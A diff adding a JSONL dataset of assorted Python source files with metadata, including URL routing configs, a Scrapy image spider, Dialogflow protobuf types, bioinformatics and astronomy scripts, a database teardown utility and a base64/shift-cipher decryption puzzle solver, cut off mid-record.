diff --git "a/1039.jsonl" "b/1039.jsonl" new file mode 100644--- /dev/null +++ "b/1039.jsonl" @@ -0,0 +1,426 @@ +{"seq_id": "42213343", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.IndexView, name='index'),\n url(r'^resources/$', views.ResourceView, name='resources'),\n url(r'^(?P[0-9]+)/rtn/$', views.RoutineView, name='RoutineView'),\n url(r'^result/(?P[0-9]+)/(?P[0-9]+)/$', views.ResultView, name='results'),\n # url(r'^feedback/$',views.FeedbackView,name='feedback'),\n\n]\n", "sub_path": "myKcmit/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 416, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "503034547", "text": "#!/usr/bin/python\n# coding=utf-8\n# author:ldx\n\nfrom tornado.web import url\nfrom api import *\n\nurls=[\n #云主机相关url\n url(r'/vms$', InstancesHandler),\n url(r'/single-instance/(?P.*)$', SingleInstanceHandler),\n url(r'/single-instance-action/(?P.*)$', SingleInstanceActionHandler),\n url(r'/nova-services$', NovaServicesHandler),\n\n #云主机可用域\n url(r'/nova-az$', InstancesHandler),\n\n #云主机模板相关url\n url(r'/flavors$', FlavorsHandler),\n url(r'/single-flavor/(?P.*)$', SingleFlavorHandler),\n\n #云主机监控数据\n url(r'/instance_monitor_data$', InstanceMonitorHandler),\n ]\n", "sub_path": "cloud_api/compute_api/handlers/compute/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 672, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "tornado.web.url", "line_number": 10, "usage_type": "call"}, {"api_name": "tornado.web.url", "line_number": 11, "usage_type": "call"}, {"api_name": "tornado.web.url", "line_number": 12, "usage_type": "call"}, {"api_name": "tornado.web.url", "line_number": 13, "usage_type": "call"}, {"api_name": "tornado.web.url", "line_number": 16, "usage_type": "call"}, {"api_name": "tornado.web.url", "line_number": 19, "usage_type": "call"}, {"api_name": "tornado.web.url", "line_number": 20, "usage_type": "call"}, {"api_name": "tornado.web.url", "line_number": 23, "usage_type": "call"}]} +{"seq_id": "175273750", "text": "from modules.BluetoothLightController import BluetoothLightController\r\nimport time\r\n\r\nif __name__ == '__main__':\r\n\r\n # Bluetooth Light MAC Addresses\r\n ctrl = BluetoothLightController(\r\n [\r\n 'C4:BE:84:51:A6:BC', # Behind TV\r\n 'C4:BE:84:51:CE:6F', # Desk-Left\r\n 'C4:BE:84:51:DA:D7' # Behind-Bed\r\n ]\r\n )\r\n\r\n while True:\r\n # Uncomment a mode to enable it.\r\n #ctrl.orb()\r\n #ctrl.turn_on()\r\n #ctrl.turn_off()\r\n ctrl.orb_night()\r\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 521, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "modules.BluetoothLightController.BluetoothLightController", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "590158601", "text": "import time as ttime\nimport uuid\n\nimport numpy as np\nimport pytest\nfrom filestore.test.utils import fs_setup, fs_teardown\nfrom metadatastore.commands import insert_run_start\nfrom metadatastore.test.utils import mds_setup, mds_teardown\nfrom numpy.testing.utils import assert_array_equal\n\nfrom databroker import DataBroker as db\nfrom databroker.pims_readers import Images, get_images\nfrom ..examples.sample_data import image_and_scalar\nfrom ..utils.diagnostics import watermark\n\n\n@pytest.fixture(scope='module')\ndef image_uid():\n rs = insert_run_start(time=ttime.time(), scan_id=105,\n owner='stepper', beamline_id='example',\n uid=str(uuid.uuid4()), cat='meow')\n image_and_scalar.run(run_start_uid=rs)\n return rs\n\n\ndef setup_module(module):\n mds_setup()\n fs_setup()\n\n\ndef teardown_module(module):\n mds_teardown()\n fs_teardown()\n\n\ndef test_watermark():\n result = watermark()\n assert result\n\n\ndef test_pims_images_old_api(image_uid):\n header = db[image_uid]\n images = Images(header, 'img')\n images[:5] # smoke test\n assert images.pixel_type == np.float64\n assert_array_equal(images.frame_shape, images[0].shape)\n assert len(images) == image_and_scalar.num1\n\n\ndef test_pims_images(image_uid):\n header = db[image_uid]\n images = get_images(header, 'img')\n images[:5] # smoke test\n assert images.pixel_type == np.float64\n assert_array_equal(images.frame_shape, images[0].shape)\n assert len(images) == image_and_scalar.num1\n\n", "sub_path": "databroker/tests/test_misc.py", "file_name": "test_misc.py", "file_ext": "py", "file_size_in_byte": 1530, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "metadatastore.commands.insert_run_start", "line_number": 19, "usage_type": "call"}, {"api_name": "time.time", "line_number": 19, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 21, "usage_type": "call"}, {"api_name": "examples.sample_data.image_and_scalar.run", "line_number": 22, "usage_type": "call"}, {"api_name": "examples.sample_data.image_and_scalar", "line_number": 22, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 17, "usage_type": "call"}, {"api_name": "metadatastore.test.utils.mds_setup", "line_number": 27, "usage_type": "call"}, {"api_name": "filestore.test.utils.fs_setup", "line_number": 28, "usage_type": "call"}, {"api_name": "metadatastore.test.utils.mds_teardown", "line_number": 32, "usage_type": "call"}, {"api_name": "filestore.test.utils.fs_teardown", "line_number": 33, "usage_type": "call"}, {"api_name": "utils.diagnostics.watermark", "line_number": 37, "usage_type": "call"}, {"api_name": "databroker.DataBroker", "line_number": 42, "usage_type": "name"}, {"api_name": "databroker.pims_readers.Images", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.testing.utils.assert_array_equal", "line_number": 46, "usage_type": "call"}, {"api_name": "examples.sample_data.image_and_scalar.num1", "line_number": 47, "usage_type": "attribute"}, {"api_name": "examples.sample_data.image_and_scalar", "line_number": 47, "usage_type": "name"}, {"api_name": "databroker.DataBroker", "line_number": 51, "usage_type": "name"}, {"api_name": "databroker.pims_readers.get_images", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.testing.utils.assert_array_equal", "line_number": 55, "usage_type": "call"}, {"api_name": "examples.sample_data.image_and_scalar.num1", "line_number": 56, "usage_type": "attribute"}, {"api_name": "examples.sample_data.image_and_scalar", "line_number": 56, "usage_type": "name"}]} +{"seq_id": "344219439", "text": "import scrapy\nfrom meinvPro.items import MeinvproItem\n\n\nclass MeinvSpider(scrapy.Spider):\n name = 'meinv'\n # allowed_domains = ['www.xxx.com']\n start_urls = ['http://pic.netbian.com/4kdongwu/']\n\n url = 'http://pic.netbian.com/4kdongwu/index_%d.html'\n page_num = 2\n\n # 解析详情页数据\n def parse_detail(self, response):\n item = response.meta['item']\n img_name = response.xpath('//*[@id=\"main\"]/div[2]/div[1]/div[1]/h1/text()').extract_first()\n img_size = response.xpath('//*[@id=\"main\"]/div[2]/div[2]/div[2]/p[3]/span/text() | //*[@id=\"main\"]/div[2]/div[2]/div[3]/p[3]/span/text()').extract_first()\n item['img_name'] = img_name\n item['img_size'] = img_size\n yield item\n\n # 解析首页\n def parse(self, response):\n li_list = response.xpath('//*[@id=\"main\"]/div[3]/ul/li')\n\n for li in li_list:\n img_href = 'http://pic.netbian.com' + li.xpath('./a/@href').extract_first()\n img_src = 'http://pic.netbian.com' + li.xpath('./a/img/@src').extract_first()\n\n item = MeinvproItem() # 一条数据对应一个对象\n item['img_src'] = img_src\n yield scrapy.Request(url=img_href, callback=self.parse_detail, meta={'item':item}) # 请求传参\n\n # 分页爬取\n if self.page_num <= 20:\n new_url = format(self.url%self.page_num)\n self.page_num += 1\n yield scrapy.Request(url=new_url, callback=self.parse)", "sub_path": "meinvPro/meinvPro/spiders/meinv.py", "file_name": "meinv.py", "file_ext": "py", "file_size_in_byte": 1483, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "scrapy.Spider", "line_number": 5, "usage_type": "attribute"}, {"api_name": "meinvPro.items.MeinvproItem", "line_number": 30, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 32, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 38, "usage_type": "call"}]} +{"seq_id": "395911847", "text": "# -*- coding: utf-8 -*-\n# Copyright 2022 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom __future__ import annotations\n\nfrom typing import MutableMapping, MutableSequence\n\nfrom google.protobuf import field_mask_pb2 # type: ignore\nimport proto # type: ignore\n\n__protobuf__ = proto.module(\n package=\"google.cloud.dialogflow.v2beta1\",\n manifest={\n \"KnowledgeBase\",\n \"ListKnowledgeBasesRequest\",\n \"ListKnowledgeBasesResponse\",\n \"GetKnowledgeBaseRequest\",\n \"CreateKnowledgeBaseRequest\",\n \"DeleteKnowledgeBaseRequest\",\n \"UpdateKnowledgeBaseRequest\",\n },\n)\n\n\nclass KnowledgeBase(proto.Message):\n r\"\"\"A knowledge base represents a collection of knowledge documents that\n you provide to Dialogflow. Your knowledge documents contain\n information that may be useful during conversations with end-users.\n Some Dialogflow features use knowledge bases when looking for a\n response to an end-user input.\n\n For more information, see the `knowledge base\n guide `__.\n\n Note: The ``projects.agent.knowledgeBases`` resource is deprecated;\n only use ``projects.knowledgeBases``.\n\n Attributes:\n name (str):\n The knowledge base resource name. The name must be empty\n when creating a knowledge base. Format:\n ``projects//locations//knowledgeBases/``.\n display_name (str):\n Required. The display name of the knowledge\n base. The name must be 1024 bytes or less;\n otherwise, the creation request fails.\n language_code (str):\n Language which represents the KnowledgeBase.\n When the KnowledgeBase is created/updated, this\n is populated for all non en-us languages. If not\n populated, the default language en-us applies.\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n display_name: str = proto.Field(\n proto.STRING,\n number=2,\n )\n language_code: str = proto.Field(\n proto.STRING,\n number=4,\n )\n\n\nclass ListKnowledgeBasesRequest(proto.Message):\n r\"\"\"Request message for\n [KnowledgeBases.ListKnowledgeBases][google.cloud.dialogflow.v2beta1.KnowledgeBases.ListKnowledgeBases].\n\n Attributes:\n parent (str):\n Required. The project to list of knowledge bases for.\n Format: ``projects//locations/``.\n page_size (int):\n The maximum number of items to return in a\n single page. By default 10 and at most 100.\n page_token (str):\n The next_page_token value returned from a previous list\n request.\n filter (str):\n The filter expression used to filter knowledge bases\n returned by the list method. The expression has the\n following syntax:\n\n [AND ] ...\n\n The following fields and operators are supported:\n\n - display_name with has(:) operator\n - language_code with equals(=) operator\n\n Examples:\n\n - 'language_code=en-us' matches knowledge bases with en-us\n language code.\n - 'display_name:articles' matches knowledge bases whose\n display name contains \"articles\".\n - 'display_name:\"Best Articles\"' matches knowledge bases\n whose display name contains \"Best Articles\".\n - 'language_code=en-gb AND display_name=articles' matches\n all knowledge bases whose display name contains\n \"articles\" and whose language code is \"en-gb\".\n\n Note: An empty filter string (i.e. \"\") is a no-op and will\n result in no filtering.\n\n For more information about filtering, see `API\n Filtering `__.\n \"\"\"\n\n parent: str = proto.Field(\n proto.STRING,\n number=1,\n )\n page_size: int = proto.Field(\n proto.INT32,\n number=2,\n )\n page_token: str = proto.Field(\n proto.STRING,\n number=3,\n )\n filter: str = proto.Field(\n proto.STRING,\n number=4,\n )\n\n\nclass ListKnowledgeBasesResponse(proto.Message):\n r\"\"\"Response message for\n [KnowledgeBases.ListKnowledgeBases][google.cloud.dialogflow.v2beta1.KnowledgeBases.ListKnowledgeBases].\n\n Attributes:\n knowledge_bases (MutableSequence[google.cloud.dialogflow_v2beta1.types.KnowledgeBase]):\n The list of knowledge bases.\n next_page_token (str):\n Token to retrieve the next page of results,\n or empty if there are no more results in the\n list.\n \"\"\"\n\n @property\n def raw_page(self):\n return self\n\n knowledge_bases: MutableSequence[\"KnowledgeBase\"] = proto.RepeatedField(\n proto.MESSAGE,\n number=1,\n message=\"KnowledgeBase\",\n )\n next_page_token: str = proto.Field(\n proto.STRING,\n number=2,\n )\n\n\nclass GetKnowledgeBaseRequest(proto.Message):\n r\"\"\"Request message for\n [KnowledgeBases.GetKnowledgeBase][google.cloud.dialogflow.v2beta1.KnowledgeBases.GetKnowledgeBase].\n\n Attributes:\n name (str):\n Required. The name of the knowledge base to retrieve. Format\n ``projects//locations//knowledgeBases/``.\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass CreateKnowledgeBaseRequest(proto.Message):\n r\"\"\"Request message for\n [KnowledgeBases.CreateKnowledgeBase][google.cloud.dialogflow.v2beta1.KnowledgeBases.CreateKnowledgeBase].\n\n Attributes:\n parent (str):\n Required. The project to create a knowledge base for.\n Format: ``projects//locations/``.\n knowledge_base (google.cloud.dialogflow_v2beta1.types.KnowledgeBase):\n Required. The knowledge base to create.\n \"\"\"\n\n parent: str = proto.Field(\n proto.STRING,\n number=1,\n )\n knowledge_base: \"KnowledgeBase\" = proto.Field(\n proto.MESSAGE,\n number=2,\n message=\"KnowledgeBase\",\n )\n\n\nclass DeleteKnowledgeBaseRequest(proto.Message):\n r\"\"\"Request message for\n [KnowledgeBases.DeleteKnowledgeBase][google.cloud.dialogflow.v2beta1.KnowledgeBases.DeleteKnowledgeBase].\n\n Attributes:\n name (str):\n Required. The name of the knowledge base to delete. Format:\n ``projects//locations//knowledgeBases/``.\n force (bool):\n Optional. Force deletes the knowledge base.\n When set to true, any documents in the knowledge\n base are also deleted.\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n force: bool = proto.Field(\n proto.BOOL,\n number=2,\n )\n\n\nclass UpdateKnowledgeBaseRequest(proto.Message):\n r\"\"\"Request message for\n [KnowledgeBases.UpdateKnowledgeBase][google.cloud.dialogflow.v2beta1.KnowledgeBases.UpdateKnowledgeBase].\n\n Attributes:\n knowledge_base (google.cloud.dialogflow_v2beta1.types.KnowledgeBase):\n Required. The knowledge base to update.\n update_mask (google.protobuf.field_mask_pb2.FieldMask):\n Optional. Not specified means ``update all``. Currently,\n only ``display_name`` can be updated, an InvalidArgument\n will be returned for attempting to update other fields.\n \"\"\"\n\n knowledge_base: \"KnowledgeBase\" = proto.Field(\n proto.MESSAGE,\n number=1,\n message=\"KnowledgeBase\",\n )\n update_mask: field_mask_pb2.FieldMask = proto.Field(\n proto.MESSAGE,\n number=2,\n message=field_mask_pb2.FieldMask,\n )\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n", "sub_path": "google/cloud/dialogflow_v2beta1/types/knowledge_base.py", "file_name": "knowledge_base.py", "file_ext": "py", "file_size_in_byte": 8449, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "proto.module", "line_number": 23, "usage_type": "call"}, {"api_name": "proto.Message", "line_number": 37, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 66, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 67, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 70, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 71, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 74, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 75, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 80, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 125, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 126, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 129, "usage_type": "call"}, {"api_name": "proto.INT32", "line_number": 130, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 133, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 134, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 137, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 138, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 143, "usage_type": "attribute"}, {"api_name": "typing.MutableSequence", "line_number": 160, "usage_type": "name"}, {"api_name": "proto.RepeatedField", "line_number": 160, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 161, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 165, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 166, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 171, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 181, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 182, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 187, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 199, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 200, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 203, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 204, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 210, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 224, "usage_type": "call"}, {"api_name": "proto.STRING", "line_number": 225, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 228, "usage_type": "call"}, {"api_name": "proto.BOOL", "line_number": 229, "usage_type": "attribute"}, {"api_name": "proto.Message", "line_number": 234, "usage_type": "attribute"}, {"api_name": "proto.Field", "line_number": 247, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 248, "usage_type": "attribute"}, {"api_name": "google.protobuf.field_mask_pb2.FieldMask", "line_number": 252, "usage_type": "attribute"}, {"api_name": "google.protobuf.field_mask_pb2", "line_number": 252, "usage_type": "name"}, {"api_name": "proto.Field", "line_number": 252, "usage_type": "call"}, {"api_name": "proto.MESSAGE", "line_number": 253, "usage_type": "attribute"}, {"api_name": "google.protobuf.field_mask_pb2.FieldMask", "line_number": 255, "usage_type": "attribute"}, {"api_name": "google.protobuf.field_mask_pb2", "line_number": 255, "usage_type": "name"}]} +{"seq_id": "383942328", "text": "from datetime import datetime\nimport os.path\nimport urllib2\n\n\ndata_atual = datetime.now()\ndata_padronizada = data_atual.strftime('%d/%m/%Y %H:%M')\n\n\nclass DataHora:\n def escrever_data_hora(self):\n caminho = os.path.join('arquivos', 'data_hora.txt')\n with open(caminho, 'a') as arquivo:\n arquivo.write(data_padronizada)\n arquivo.write(\"\\n\")\n\n def data_hora(self):\n if os.path.exists('arquivos/data_hora.txt'):\n self.escrever_data_hora()\n print('Data e hora registradas.')\n else:\n self.escrever_data_hora()\n print('Arquivo criado.')\n\n def verificar_ou_criar_dir(self):\n if os.path.isdir('arquivos'):\n print('Diretorio pronto para uso.')\n else:\n os.mkdir('arquivos')\n print('Diretorio criado.')\n self.data_hora()\n\n\nclass WebPage:\n def webpage(self):\n response = urllib2.urlopen(\"http://www.google.com.br\")\n local = os.path.join('arquivos', 'google.html')\n with open(local, 'a') as arq:\n arq.write(response.read())\n\n print('Arquivo html no diretorio.')\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "data_hora/data_hora_webpage.py", "file_name": "data_hora_webpage.py", "file_ext": "py", "file_size_in_byte": 1162, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "datetime.datetime.now", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 6, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 12, "usage_type": "name"}, {"api_name": "os.path.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 18, "usage_type": "name"}, {"api_name": "os.path.path.isdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.mkdir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "name"}, {"api_name": "urllib2.urlopen", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 37, "usage_type": "name"}]} +{"seq_id": "530066528", "text": "from Bio import SeqIO\n\nheader_list = []\nantibody_list = []\nseq_list = []\ncdrh3_locations = []\nhcdr3_sequences = []\n\n# parses data from .fasta file and places headers and sequences into lists\nfor record in SeqIO.parse(\"all_BNABs_for_table.SMUA.kappas.Mar15.fasta\",\n \"fasta\"):\n header_list.append(record.id)\n seq_list.append(str(record.seq))\n\n# we can isolate the start of the CDRH3 location by counting the number of\n# markupcode positions before the vdj and we can isolate the end of the CDRH3\n# by adding the total number of V, n, D, and J markup positions\n\n# below pulls out the name of each antibody from the header list\nfor i in range(0, len(header_list), 3):\n antibody_list.append(header_list[i])\n\n# below pulls out the markup from the list to identify where the CDRH3 is\nfor i in range(2, len(seq_list), 3):\n VDJ_start = seq_list[i].count('1') + seq_list[i].count('A') + seq_list[\n i].count('2') + seq_list[i].count('B') + seq_list[i].count('3')\n VDJ_end = seq_list[i].count('V') + seq_list[i].count('n') + seq_list[\n i].count('D') + seq_list[i].count('J') + VDJ_start\n cdrh3_location = [VDJ_start, VDJ_end]\n cdrh3_locations.append(cdrh3_location)\n\n# below pulls out the sequences of the cdrh3 from each bnab\nfor i in range(0, len(seq_list), 3):\n sequence = seq_list[i]\n index_one, index_two = cdrh3_locations[int(i/3)]\n hcdr3_sequences.append(sequence[index_one:index_two])\n\n# below combines the antibody name and cdrh3 length into a dictionary\nkappa_chain_dictionary = dict(zip(antibody_list, hcdr3_sequences))\nprint(kappa_chain_dictionary)", "sub_path": "CDRH3 extraction/CDRH3_extraction_kappa_chain.py", "file_name": "CDRH3_extraction_kappa_chain.py", "file_ext": "py", "file_size_in_byte": 1621, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "Bio.SeqIO.parse", "line_number": 10, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 10, "usage_type": "name"}]} +{"seq_id": "374923535", "text": "import xidplus\nimport pickle\nimport numpy as np\nfrom xidplus import catalogue\nfrom xidplus import moc_routines\nfrom astropy import wcs\nfrom astropy.io import fits\nfrom xidplus import posterior_maps as postmaps\nfrom astropy import wcs\n\nimport os\nimport sys\n\nsys.path.remove(\"/mnt/pact/im281/HELP/XID_plus\")\nsys.path.remove(\"/mnt/pact/im281/HELP/herschelhelp_python\")\n\noutput_folder='./data/'\n\n\nwith open(output_folder+'Tiles.pkl',\"rb\") as f:\n Master = pickle.load(f)\ntiles=Master['tiles']\norder=Master['order']\n\n\noutfile=output_folder+'Master_prior.pkl'\nwith open(outfile, 'rb') as f:\n obj=pickle.load(f)\npriors=obj['priors']\n\n\n\n#hdulist24=fits.open(output_folder+'dmu26_XID+MIPS_ELAIS-N2_Bayes_Pval.fits')\nhdulist24=postmaps.make_fits_image(priors[0],np.full_like(priors[0].sim,np.nan))\n\n\n\nfailed_tiles=[]\nfor i in range(0,len(tiles)):\n\tprint('On tile '+str(i)+' out of '+str(len(tiles)))\n\ttry:\n\t\tBayes_24_tile=fits.open(output_folder+'Tile_'+str(tiles[i])+'_'+str(order)+'_MIPS_24_Bayes_Pval.fits')\n\n\t\tx_ind,y_ind=np.meshgrid(np.arange(0,Bayes_24_tile[1].header['NAXIS1'],dtype=np.int16)-Bayes_24_tile[1].header['CRPIX1']+hdulist24[1].header['CRPIX1'],np.arange(0,Bayes_24_tile[1].header['NAXIS2'],dtype=np.int16)-Bayes_24_tile[1].header['CRPIX2']+hdulist24[1].header['CRPIX2'])\n\n\t\tgood=Bayes_24_tile[1].data>-6\n\n\t\thdulist24[1].data[y_ind[good].astype(np.int16),x_ind[good].astype(np.int16)]=Bayes_24_tile[1].data[good]\n\t\t\n\n\n\t\tBayes_24_tile.close()\n\texcept IOError:\n\t\tprint('issue with tile '+str(tiles[i]))\n\t\tfailed_tiles.append(tiles[i])\n\t\n\nhdulist24.writeto(output_folder+'dmu26_XID+MIPS_EGS_Bayes_Pval.fits',clobber=True)\n\noutfile=output_folder+'failed_tiles.pkl'\nwith open(outfile, 'wb') as f:\n pickle.dump({'tiles':failed_tiles,'order':order},f)\n", "sub_path": "dmu26/dmu26_XID+MIPS_EGS/make_combined_map.py", "file_name": "make_combined_map.py", "file_ext": "py", "file_size_in_byte": 1765, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.path.remove", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.path.remove", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 21, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 28, "usage_type": "call"}, {"api_name": "xidplus.posterior_maps.make_fits_image", "line_number": 34, "usage_type": "call"}, {"api_name": "xidplus.posterior_maps", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.full_like", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 34, "usage_type": "attribute"}, {"api_name": "astropy.io.fits.open", "line_number": 42, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.meshgrid", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.int16", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "569301623", "text": "from db.models.base import engine, Session\nimport sqlalchemy as sqla # pylint: disable=E0401\nimport sqlalchemy.ext.declarative as sqld # pylint: disable=E0401\n\n\ndef destroy():\n\tprint(\"Destroying DB\")\n\tsqla_base = sqld.declarative_base()\n\tsqla_base.metadata.bind = engine\n\tsqla_base.metadata.drop_all()\n\n\t# sql = sqla.text(\"SET FOREIGN_KEY_CHECKS = 0\")\n\tsession = Session()\n\t# session.execute(sql)\n\tfor table in engine.table_names():\n\t\tsql = sqla.text(\"DROP TABLE IF EXISTS {} CASCADE \".format(table))\n\t\tprint(sql)\n\t\tsession.execute(sql)\n\tprint(\"Destroying DB Complete\")\n\n\nif __name__ == '__main__':\n\tdestroy()\n", "sub_path": "backend/db/scripts/destroy.py", "file_name": "destroy.py", "file_ext": "py", "file_size_in_byte": 612, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative", "line_number": 8, "usage_type": "name"}, {"api_name": "db.models.base.engine", "line_number": 9, "usage_type": "name"}, {"api_name": "db.models.base.Session", "line_number": 13, "usage_type": "call"}, {"api_name": "db.models.base.engine.table_names", "line_number": 15, "usage_type": "call"}, {"api_name": "db.models.base.engine", "line_number": 15, "usage_type": "name"}, {"api_name": "sqlalchemy.text", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "568286310", "text": "import base64\nimport random\nimport string\nimport binascii\n\nrounds = 80\n\n\ndef decrypt(flag, key):\n for i in range(rounds):\n print(\"got to round: \"+ str(i))\n encode_b64 = key[\"base64_chosen\"].pop()\n if encode_b64:\n flag = base64.b64decode(flag.encode('utf8')).decode('utf8')\n else:\n alphabet = string.ascii_letters + string.digits\n shift = key[\"shift\"].pop()\n alphabet_shift = alphabet[:-shift] + alphabet[-shift:]\n flag = flag.translate(str.maketrans(alphabet, alphabet_shift))\n return flag\n\n\ndef record_possible_key():\n random.seed()\n recorded_key = {\"base64_chosen\": [],\n \"shift\": []}\n for i in range(rounds):\n encode_b64 = random.random() < 0.5\n recorded_key[\"base64_chosen\"].append(encode_b64)\n if not encode_b64:\n alphabet = string.ascii_letters + string.digits\n shift = random.randint(1, len(alphabet))\n recorded_key[\"shift\"].append(shift)\n return recorded_key\n\n\ndef attempt_decrypt(actual_encrypted_flag):\n key = record_possible_key()\n try:\n possible_flag = decrypt(actual_encrypted_flag, key)\n except binascii.Error:\n print(\"binascii exception, base 64 when we shouldn't of\")\n return False, ''\n success = possible_flag[:3].lower() in ['sctf', 'flag']\n return success, possible_flag\n\n\ndef main():\n actual_encrypted_flag = open('encrypted.txt').read()\n success, possible_flag = attempt_decrypt(actual_encrypted_flag)\n tries = 0\n while not success:\n tries += 1\n print(tries)\n success, possible_flag = attempt_decrypt(actual_encrypted_flag)\n print(\"success: \" + possible_flag)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "ciphered/encrypt.py", "file_name": "encrypt.py", "file_ext": "py", "file_size_in_byte": 1766, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "base64.b64decode", "line_number": 14, 